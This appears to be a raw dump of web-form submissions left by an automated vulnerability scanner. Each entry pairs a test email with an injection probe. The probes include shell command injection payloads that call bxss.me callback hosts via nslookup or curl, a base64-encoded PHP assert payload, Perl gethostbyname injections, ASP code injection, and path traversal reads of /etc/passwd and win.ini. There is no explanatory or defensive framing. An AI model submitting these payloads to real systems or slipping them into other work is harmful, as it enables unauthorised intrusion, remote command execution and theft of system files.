testing@example.com   |(nslookup${IFS}-q${IFS}cname${IFS}hitjcmkbmmyrx81e75.bxss.me||curl${IFS}hitjcmkbmmyrx81e75.bxss.me)

testing@example.com   ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

testing@example.com   ;(nslookup -q=cname hitmdusvlrrcv2b8db.bxss.me||curl hitmdusvlrrcv2b8db.bxss.me)|(nslookup -q=cname hitmdusvlrrcv2b8db.bxss.me||curl hitmdusvlrrcv2b8db.bxss.me)&amp;(nslookup -q=cname hitmdusvlrrcv2b8db.bxss.me||curl hitmdusvlrrcv2b8db.bxss.me)

testing@example.com   `(nslookup -q=cname hityapuglsmos34fae.bxss.me||curl hityapuglsmos34fae.bxss.me)`

testing@example.com   |(nslookup -q=cname hitjnozgtbjud7474d.bxss.me||curl hitjnozgtbjud7474d.bxss.me)

testing@example.com   &amp;(nslookup -q=cname hitgwzptekkqv49df8.bxss.me||curl hitgwzptekkqv49df8.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitgwzptekkqv49df8.bxss.me||curl hitgwzptekkqv49df8.bxss.me)&amp;`'

testing@example.com   bxss.me/t/xss.html?%00

testing@example.com   &amp;nslookup -q=cname hitaikmtlbgsr43de4.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitaikmtlbgsr43de4.bxss.me&amp;`'

testing@example.com   HttP://bxss.me/t/xss.html?%00

testing@example.com   $(nslookup -q=cname hitxfybgnnuhp6ce8b.bxss.me||curl hitxfybgnnuhp6ce8b.bxss.me)

testing@example.com   (nslookup -q=cname hitrjsdeomugvaa445.bxss.me||curl hitrjsdeomugvaa445.bxss.me))

testing@example.com   20

testing@example.com   expr 9000204207 - 964609

testing@example.com   20

testing@example.com   20|echo buixbq$()\ hcizax\nz^xyu||a #' |echo buixbq$()\ hcizax\nz^xyu||a #|" |echo buixbq$()\ hcizax\nz^xyu||a #

testing@example.com   |echo ocfzcb$()\ fsnwlc\nz^xyu||a #' |echo ocfzcb$()\ fsnwlc\nz^xyu||a #|" |echo ocfzcb$()\ fsnwlc\nz^xyu||a #

testing@example.com   20&amp;echo ldqdgl$()\ wvtohv\nz^xyu||a #' &amp;echo ldqdgl$()\ wvtohv\nz^xyu||a #|" &amp;echo ldqdgl$()\ wvtohv\nz^xyu||a #

testing@example.com   gethostbyname(lc('hitfc'.'pyjbzyttb61fd.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(71).chr(98).chr(88)

testing@example.com   &amp;echo tgxnuf$()\ rtulmo\nz^xyu||a #' &amp;echo tgxnuf$()\ rtulmo\nz^xyu||a #|" &amp;echo tgxnuf$()\ rtulmo\nz^xyu||a #

testing@example.com   ".gethostbyname(lc("hitxm"."xjzdkkvo18bd8.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(81).chr(105).chr(71)."

testing@example.com   20

testing@example.com   echo rztobo$()\ uaqnmv\nz^xyu||a #' &amp;echo rztobo$()\ uaqnmv\nz^xyu||a #|" &amp;echo rztobo$()\ uaqnmv\nz^xyu||a #

testing@example.com   '.gethostbyname(lc('hitmc'.'mqmgyfxpfeb38.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(75).chr(104).chr(69).'

testing@example.com   ^(#$!@#$)(()))******

testing@example.com   20

testing@example.com   !(()&amp;&amp;!|*|*|

testing@example.com   )

testing@example.com   20

testing@example.com   ./20

testing@example.com   ../20

testing@example.com   redirtest.acx

testing@example.com   20

testing@example.com   20

testing@example.com   file:///etc/passwd

testing@example.com   ../../../../../../../../../../../../../../windows/win.ini

testing@example.com   ../../../../../../../../../../../../../../etc/passwd

testing@example.com   +response.write(9965147*9541134)'

testing@example.com   20

testing@example.com   &lt;% response.write(9965147*9541134) %&gt;